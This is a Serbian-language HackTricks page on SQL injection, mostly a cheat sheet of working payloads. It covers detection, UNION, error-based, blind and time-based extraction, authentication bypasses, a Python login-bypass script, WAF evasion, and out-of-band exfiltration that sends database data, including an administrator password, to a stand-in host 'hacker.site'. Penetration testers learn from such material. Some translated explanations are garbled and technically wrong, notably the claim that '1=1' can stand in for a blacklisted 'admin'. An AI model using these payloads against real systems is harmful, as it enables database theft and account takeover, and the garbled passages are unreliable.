SQL Injection

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

​​​​RootedCON je najrelevantniji kibernetički događaj u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.

Šta je SQL injection?

SQL injection je sigurnosna greška koja omogućava napadačima da ometaju upite baze podataka aplikacije. Ova ranjivost omogućava napadačima da pregledaju, izmene ili obrišu podatke do kojih ne bi trebali da imaju pristup, uključujući informacije drugih korisnika ili bilo koje podatke do kojih aplikacija može da pristupi. Takve akcije mogu rezultirati trajnim promenama funkcionalnosti ili sadržaja aplikacije, pa čak i kompromitacijom servera ili uskraćivanjem usluge.

Otkrivanje tačke ulaza

Kada se sajt čini ranjivim na SQL injection (SQLi) zbog neobičnih odgovora servera na SQLi povezane unose, prvi korak je razumeti kako ubaciti podatke u upit bez narušavanja njega. To zahteva identifikaciju metode za izlazak iz trenutnog konteksta na efikasan način. Ovo su neki korisni primeri:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Zatim, morate znati kako popraviti upit da ne bude grešaka. Da biste popravili upit, možete uneti podatke tako da prethodni upit prihvati nove podatke, ili jednostavno možete uneti svoje podatke i dodati simbol komentara na kraju.

Napomena: Ako možete videti poruke o greškama ili primetiti razlike kada upit radi i kada ne radi, ova faza će biti lakša.

Komentari

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potvrda pomoću logičkih operacija

Pouzdan način potvrde ranjivosti SQL ubacivanja uključuje izvršavanje logičke operacije i posmatranje očekivanih rezultata. Na primer, GET parametar poput ?username=Peter koji daje isti rezultat kada se izmeni u ?username=Peter' or '1'='1 ukazuje na ranjivost SQL ubacivanja.

Slično tome, primena matematičkih operacija služi kao efikasna tehnika potvrde. Na primer, ako pristupanje ?id=1 i ?id=2-1 proizvodi isti rezultat, to ukazuje na SQL ubacivanje.

Primeri koji demonstriraju potvrdu logičke operacije:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ova lista reči je napravljena kako bi se pokušalo potvrditi SQL ubacivanje na predloženi način:

Potvrđivanje pomoću vremena

U nekim slučajevima nećete primetiti nikakvu promenu na stranici koju testirate. Stoga, dobar način da otkrijete slepo SQL ubacivanje je da naterate bazu podataka da izvrši radnje koje će uticati na vreme potrebno za učitavanje stranice. Stoga, dodajemo u SQL upit operaciju koja će dugo trajati da se izvrši:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

U nekim slučajevima neće biti dozvoljene funkcije za uspavljivanje. Tada, umesto korišćenja tih funkcija, možete napraviti upit koji će izvršavati složene operacije koje će trajati nekoliko sekundi. Primeri ovih tehnika će biti posebno komentarisani za svaku tehnologiju (ako postoje).

Identifikacija Back-end-a

Najbolji način za identifikaciju back-end-a je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti sleep funkcije iz prethodne sekcije ili ove (tabela sa payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Takođe, ako imate pristup rezultatima upita, možete ispisati verziju baze podataka.

Nastavićemo da razmatramo različite metode za iskorišćavanje različitih vrsta SQL Injection. Kao primer koristimo MySQL.

Identifikacija pomoću PortSwigger-a

Iskorišćavanje bazirano na Uniji

Otkrivanje broja kolona

Ako možete videti rezultate upita, ovo je najbolji način za iskorišćavanje. Prvo, moramo saznati broj kolona koje početni zahtev vraća. To je zato što oba upita moraju vratiti isti broj kolona. Za ovo se obično koriste dve metode:

Order/Group by

Da biste odredili broj kolona u upitu, postepeno prilagođavajte broj koji se koristi u klauzulama ORDER BY ili GROUP BY dok ne dobijete lažan odgovor. Bez obzira na različite funkcionalnosti GROUP BY i ORDER BY u SQL-u, oba se mogu koristiti na isti način za određivanje broja kolona upita.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Izaberite sve više i više null vrednosti dok upit ne bude ispravan:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Treba da koristite null vrednosti jer u nekim slučajevima tip kolona sa obe strane upita mora biti isti, a null je validan u svakom slučaju.

Izdvajanje imena baza podataka, imena tabela i imena kolona

U sledećim primerima ćemo izvući ime svih baza podataka, ime tabele iz baze podataka i imena kolona iz tabele:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Postoji različit način za otkrivanje ovih podataka na svakoj različitoj bazi podataka, ali metodologija je uvek ista.

Iskorišćavanje skrivenog unije baziranog

Kada je izlaz upita vidljiv, ali unije bazirane na ubrizgavanju izgledaju nedostižne, to ukazuje na prisustvo skrivenog unije baziranog ubrizgavanja. Ova situacija često dovodi do slepog ubrizgavanja. Da biste pretvorili slepo ubrizgavanje u unije bazirano, potrebno je da se sazna izvršavanje upita na pozadini.

To se može postići korišćenjem tehnika slepog ubrizgavanja zajedno sa podrazumevanim tabelama specifičnim za ciljni sistem za upravljanje bazom podataka (DBMS). Da biste razumeli ove podrazumevane tabele, savetuje se konsultacija dokumentacije ciljnog DBMS-a.

Nakon što je upit izvučen, neophodno je prilagoditi svoj payload kako bi se bezbedno zatvorio originalni upit. Zatim se unija upita dodaje vašem payloadu, olakšavajući iskorišćavanje novo dostupnog unije baziranog ubrizgavanja.

Za detaljnije informacije, pogledajte kompletan članak dostupan na Healing Blind Injections.

Iskorišćavanje grešaka bazirano

Ako iz nekog razloga ne možete videti izlaz upita, ali možete videti poruke o greškama, možete iskoristiti ove poruke o greškama da izfiltrirate podatke iz baze podataka. Prateći sličan tok kao kod iskorišćavanja unije baziranog ubrizgavanja, možete uspeti da izvučete bazu podataka.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Iskorišćavanje slepe SQLi

U ovom slučaju ne možete videti rezultate upita ili greške, ali možete razlikovati kada upit vrati odgovor tačno ili netačno jer se na stranici nalaze različiti sadržaji. U ovom slučaju, možete zloupotrebiti to ponašanje kako biste postepeno izvukli karaktere iz baze podataka:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Iskorišćavanje Slepe SQLi Greške

Ovo je isti slučaj kao i prethodni, ali umesto razlikovanja između tačnog/netačnog odgovora iz upita, možete razlikovati da li postoji greška u SQL upitu ili ne (možda zbog pada HTTP servera). Stoga, u ovom slučaju možete izazvati SQL grešku svaki put kada tačno pogodite karakter:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Iskorišćavanje SQLi bazirano na vremenu

U ovom slučaju nema načina da se razlikuje odgovor upita na osnovu konteksta stranice. Međutim, možete učiniti da se stranica duže učitava ako je pogodno pretpostavljeno slovo tačno. Već smo videli ovu tehniku u upotrebi ranije kako bismo potvrdili SQLi ranjivost.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Možete koristiti "stacked queries" da biste izvršili više upita jedan za drugim. Imajte na umu da se dok se izvršavaju sledeći upiti, rezultati ne vraćaju aplikaciji. Stoga je ova tehnika uglavnom korisna u vezi sa slepim ranjivostima, gde možete koristiti drugi upit da pokrene DNS pretragu, uslovnu grešku ili kašnjenje vremena.

Oracle ne podržava stacked queries. MySQL, Microsoft i PostgreSQL ih podržavaju: UPIT-1-OVDE; UPIT-2-OVDE

Eksploatacija van mreže

Ako nijedna druga metoda eksploatacije nije uspela, možete pokušati da izvučete informacije iz baze podataka na spoljni server koji je pod vašom kontrolom. Na primer, putem DNS upita:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Izvlačenje podataka putem XXE-a izvan opsega

XXE (Eksterni XML Entitet) je sigurnosna ranjivost koja omogućava napadaču da izvrši udaljene zahteve i izvuče podatke izvan opsega aplikacije. Ova tehnika se može koristiti za izvlačenje osetljivih informacija iz baze podataka putem XML eksternih entiteta.

Da biste iskoristili ovu ranjivost, prvo morate pronaći mesto gde se koristi XML parser koji podržava eksterne entitete. Zatim, možete konstruisati poseban XML payload koji će izvršiti udaljeni zahtev i vratiti osetljive podatke.

Na primer, možete konstruisati payload koji će izvršiti SQL upit na bazi podataka i vratiti rezultate. Ovi rezultati mogu biti uključeni u XML odgovor koji će biti poslat napadaču.

Da biste izvršili ovu tehniku, koristite sledeće korake:

  1. Pronađite mesto gde se koristi XML parser koji podržava eksterne entitete.

  2. Konstruišite XML payload koji će izvršiti udaljeni zahtev i vratiti osetljive podatke.

  3. Pošaljite payload na ciljnu aplikaciju i pratite odgovor kako biste izvukli osetljive podatke.

Važno je napomenuti da je ova tehnika vrlo moćna i može biti zloupotrebljena. Stoga je važno da se koristi samo u okviru zakonitog pentestinga i sa dozvolom vlasnika sistema.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatizovano iskorišćavanje

Proverite SQLMap Cheetsheat da biste iskoristili SQLi ranjivost sa sqlmap.

Tehničke specifičnosti

Već smo razgovarali o svim načinima iskorišćavanja SQL Injection ranjivosti. Pronađite još neke trikove koji zavise od tehnologije baze podataka u ovoj knjizi:

Ili ćete pronaći mnogo trikova u vezi sa: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL na https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON je najrelevantniji kibernetički događaj u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.

Zaobilaženje autentifikacije

Lista za pokušaj zaobilaženja funkcionalnosti prijave:

pageLogin bypass List

Zaobilaženje autentifikacije putem sirovog heša

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Ova upit pokazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proveri autentifikacije, čime se sistem čini podložnim SQL ubacivanju. Napadači mogu iskoristiti ovo tako što će oblikovati unose koji, kada se heširaju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Bypass autentifikacije putem ubacivanja hash-a

Ova tehnika se koristi za zaobilaženje autentifikacije putem ubacivanja hash-a u SQL upit. Kada se koristi loša implementacija autentifikacije koja ne proverava ispravnost unetih podataka, moguće je iskoristiti SQL Injection da bi se umesto pravog hash-a ubacio lažni hash.

Da bi se ova tehnika primenila, potrebno je prvo dobiti pravi hash koji se koristi za autentifikaciju. Zatim se taj hash ubacuje u SQL upit umesto unetog korisničkog imena i lozinke. Na taj način se zaobilazi provera autentifikacije i omogućava pristup sistemskim resursima.

Ova tehnika je vrlo opasna i može dovesti do ozbiljnog kompromitovanja sistema. Zbog toga je važno da se implementira sigurna autentifikacija koja proverava ispravnost unetih podataka i sprečava SQL Injection napade.

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Preporučena lista:

Kao korisničko ime trebate koristiti svaku liniju iz liste, a kao lozinku uvijek: Pass1234. (Ove payloade također možete pronaći u velikoj listi spomenutoj na početku ovog odjeljka)

GBK Bypass autentifikacije

Ako se ' izbjegava, možete koristiti %A8%27, a kada se ' izbjegne, stvorit će se: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python skripta:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Poliglotna injekcija (višekontekstualna)

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks. It involves crafting a malicious payload that can be interpreted as valid code in multiple database management systems (DBMS). This allows the attacker to target different DBMS with a single payload, increasing the chances of a successful attack.

Polyglot injection takes advantage of the syntax and behavior differences between different DBMS. By carefully constructing the payload, the attacker can ensure that it is interpreted correctly by multiple DBMS, regardless of the specific syntax requirements of each system.

This technique is particularly useful when the attacker is unsure about the underlying DBMS used by the target application. By using a polyglot payload, the attacker can increase the likelihood of a successful SQL injection attack, regardless of the specific DBMS in use.

It is important to note that crafting a polyglot injection payload requires a deep understanding of the syntax and behavior of multiple DBMS. Additionally, the payload must be carefully constructed to avoid any syntax conflicts or errors that could prevent successful exploitation.

Overall, polyglot injection is a powerful technique that allows attackers to target multiple DBMS with a single payload, increasing the chances of a successful SQL injection attack.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Promena lozinke postojećeg objekta/korisnika

Da biste to uradili, trebali biste pokušati kreirati novi objekat sa istim imenom kao "glavni objekat" (verovatno admin u slučaju korisnika) i izmeniti nešto:

  • Kreirajte korisnika sa imenom: AdMIn (velika i mala slova)

  • Kreirajte korisnika sa imenom: admin=

  • SQL Truncation napad (kada postoji neka vrsta ograničenja dužine za korisničko ime ili email) --> Kreirajte korisnika sa imenom: admin [mnogo razmaka] a

SQL Truncation napad

Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je na primer 30, a želite da se predstavite kao korisnik admin, pokušajte da kreirate korisničko ime nazvano: "admin [30 razmaka] a" i bilo koju lozinku.

Baza podataka će proveriti da li uneto korisničko ime postoji u bazi podataka. Ako ne postoji, ona će skratiti korisničko ime na maksimalan dozvoljeni broj karaktera (u ovom slučaju na: "admin [25 razmaka]") i automatski će ukloniti sve razmake na kraju, ažurirajući unutar baze podataka korisnika "admin" sa novom lozinkom (mogu se pojaviti neke greške, ali to ne znači da nije uspelo).

Više informacija: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Napomena: Ovaj napad više neće raditi kao što je opisano u najnovijim instalacijama MySQL-a. Iako poređenja i dalje ignorišu razmake na kraju podrazumevano, pokušaj da se unese string koji je duži od dužine polja rezultiraće greškom i neće biti moguće izvršiti unos. Za više informacija o ovoj proveri: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert provera bazirana na vremenu

Dodajte onoliko ','','' koliko smatrate da je potrebno da izađete iz izjave VALUES. Ako se izvrši kašnjenje, imate SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE u MySQL-u se koristi da se specificiraju akcije koje baza podataka treba preduzeti kada se pokuša umetnuti red koji bi rezultirao dupliranom vrednošću u UNIQUE indeksu ili PRIMARY KEY. Sledeći primer prikazuje kako se ova funkcionalnost može iskoristiti da se izmeni lozinka administratorskog naloga:

Primer Payload Injection:

Payload za ubacivanje može biti kreiran na sledeći način, gde se pokušava ubaciti dva reda u tabelu users. Prvi red je mamac, a drugi red cilja postojeći administratorski email sa namerom da se ažurira lozinka:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Evo kako to funkcioniše:

  • Upit pokušava da unese dva reda: jedan za generic_user@example.com i drugi za admin_generic@example.com.

  • Ako red za admin_generic@example.com već postoji, klauza ON DUPLICATE KEY UPDATE se aktivira, naređujući MySQL-u da ažurira polje password postojećeg reda na "bcrypt_hash_of_newpassword".

  • Kao rezultat toga, autentifikacija se može pokušati koristeći admin_generic@example.com sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).

Izvlačenje informacija

Kreiranje 2 naloga istovremeno

Prilikom pokušaja kreiranja novog korisnika, potrebni su korisničko ime, lozinka i email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Korišćenje decimalnog ili heksadecimalnog broja

Pomoću ove tehnike možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.

Korišćenje hex2dec i substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Da biste dobili tekst, možete koristiti:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Korišćenje hex i replace (i substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo sastajalište za profesionalce iz oblasti tehnologije i kibernetičke bezbednosti u svakoj disciplini.

Routed SQL injection

Routed SQL injection je situacija u kojoj ubacivački upit nije onaj koji daje izlaz, već izlaz ubacivačkog upita ide u upit koji daje izlaz. (Iz dokumenta)

Primer:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Bypass WAF

Početni zaobiđeni odavde

Zaobiđenje bez razmaka

Bez razmaka (%20) - zaobiđeno korišćenjem alternativa za razmake

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - zaobilaženje korišćenjem komentara

Opis

No Whitespace (bez razmaka) tehnika zaobilaženja se koristi kada je unos korisnika filtriran tako da ne dozvoljava upotrebu razmaka. Ova tehnika koristi SQL komentare kako bi se zaobišao taj filter.

Napadni vektor

Napadač može iskoristiti ovu tehniku kada je unos korisnika ograničen i ne dozvoljava korišćenje razmaka.

Napadni scenario

Napadač može koristiti SQL komentare (/* */ ili --) kako bi zaobišao ograničenje razmaka i ubacio SQL kod.

Na primer, ako je unos korisnika ograničen i ne dozvoljava razmake, napadač može koristiti sledeći napadni vektor:

'/**/UNION/**/SELECT/**/1,2,3-- -

Ovaj napadni vektor koristi SQL komentare (/**/) kako bi se zaobišlo ograničenje razmaka i ubacio SQL kod UNION SELECT 1,2,3.

Prevencija

Da bi se sprečio ovaj tip napada, potrebno je pravilno filtrirati i validirati korisnički unos. Takođe, preporučuje se korišćenje parametrizovanih upita ili ORM alata koji automatski sanitizuju korisnički unos.

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - zaobilaženje korišćenjem zagrada

Opis

No Whitespace (bez razmaka) tehnika zaobilaženja koristi se za izvršavanje SQL injekcije kada je unos korisnika ograničen tako da ne dozvoljava korišćenje razmaka. Ova tehnika koristi zagrade kako bi se zaobišao taj ograničenje i omogućilo izvršavanje SQL upita.

Napadni vektor

Napadač može iskoristiti ovu tehniku kada je unos korisnika ograničen i ne dozvoljava korišćenje razmaka.

Primer

Pretpostavimo da je SQL upit koji se izvršava na serveru sledeći:

SELECT * FROM users WHERE username='admin' AND password='password'

Napadač može iskoristiti No Whitespace tehniku zaobilaženja koristeći sledeći unos:

admin') OR ('a'='a

Kada se ovaj unos ubaci u SQL upit, rezultujući upit će izgledati ovako:

SELECT * FROM users WHERE username='admin') OR ('a'='a' AND password='password'

Na ovaj način, napadač je uspešno zaobišao ograničenje bez razmaka i izvršio SQL injekciju.

Prevencija

Da bi se sprečila No Whitespace SQL injekcija, preporučuje se korišćenje parametrizovanih upita ili sanitizacija korisničkog unosa. Takođe, važno je redovno ažurirati softver i primenjivati sigurnosne zakrpe kako bi se smanjio rizik od SQL injekcija.

?id=(1)and(1)=(1)--

Bypass bez zareza

Bypass bez zareza - korišćenje OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generički zaobilazi

Crna lista korišćenjem ključnih reči - zaobilaženje korišćenjem velikih/malih slova

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Crna lista korišćenjem ključnih reči bez obzira na veličinu slova - zaobilaženje korišćenjem ekvivalentnog operatora

Uobičajena metoda za sprečavanje SQL injection napada je korišćenje crne liste ključnih reči. Međutim, ova metoda često ne uzima u obzir veličinu slova, što omogućava napadačima da zaobiđu zaštitu.

Na primer, ako je ključna reč "admin" na crnoj listi, napadač može da umetne "ADMIN" ili "AdMiN" kako bi izbegao detekciju. Međutim, postoji način da se zaobiđe ovakva zaštita korišćenjem ekvivalentnog operatora.

Umesto da koristite ključnu reč direktno, možete koristiti ekvivalentni operator koji će izvršiti istu funkciju. Na primer, umesto da koristite "admin", možete koristiti "1=1", što je uvek tačno. Na taj način, SQL upit će biti izvršen bez obzira na crnu listu ključnih reči.

Na primer, umesto:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

Možete koristiti:

SELECT * FROM users WHERE username = '1=1' AND password = 'password';

Na ovaj način, SQL upit će biti izvršen bez obzira na to da li je ključna reč "admin" na crnoj listi ili ne.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypassiranje WAF-a pomoću naučne notacije

Možete pronaći detaljnije objašnjenje ove tehnike u gosecure blogu. U osnovi, možete koristiti naučnu notaciju na neočekivane načine kako biste zaobišli WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Zaobilaženje ograničenja imena kolona

Prvo, primetite da ako izvorna upit i tabela iz koje želite izvući zastavicu imaju isti broj kolona, možete jednostavno uraditi: 0 UNION SELECT * FROM flag

Moguće je pristupiti trećoj koloni tabele bez korišćenja njenog imena koristeći upit poput sledećeg: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, pa bi u slučaju SQL ubacivanja to izgledalo ovako:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ili korišćenjem zaobilaska zareza:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ova prevara je preuzeta sa https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Alati za predlaganje zaobilaženja WAF-a

Ostali vodiči

Lista za otkrivanje Brute-Force napada

​​​​​​​RootedCON je najrelevantniji događaj u oblasti sajber bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo mesto susreta za profesionalce iz oblasti tehnologije i sajber bezbednosti u svakoj disciplini.

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated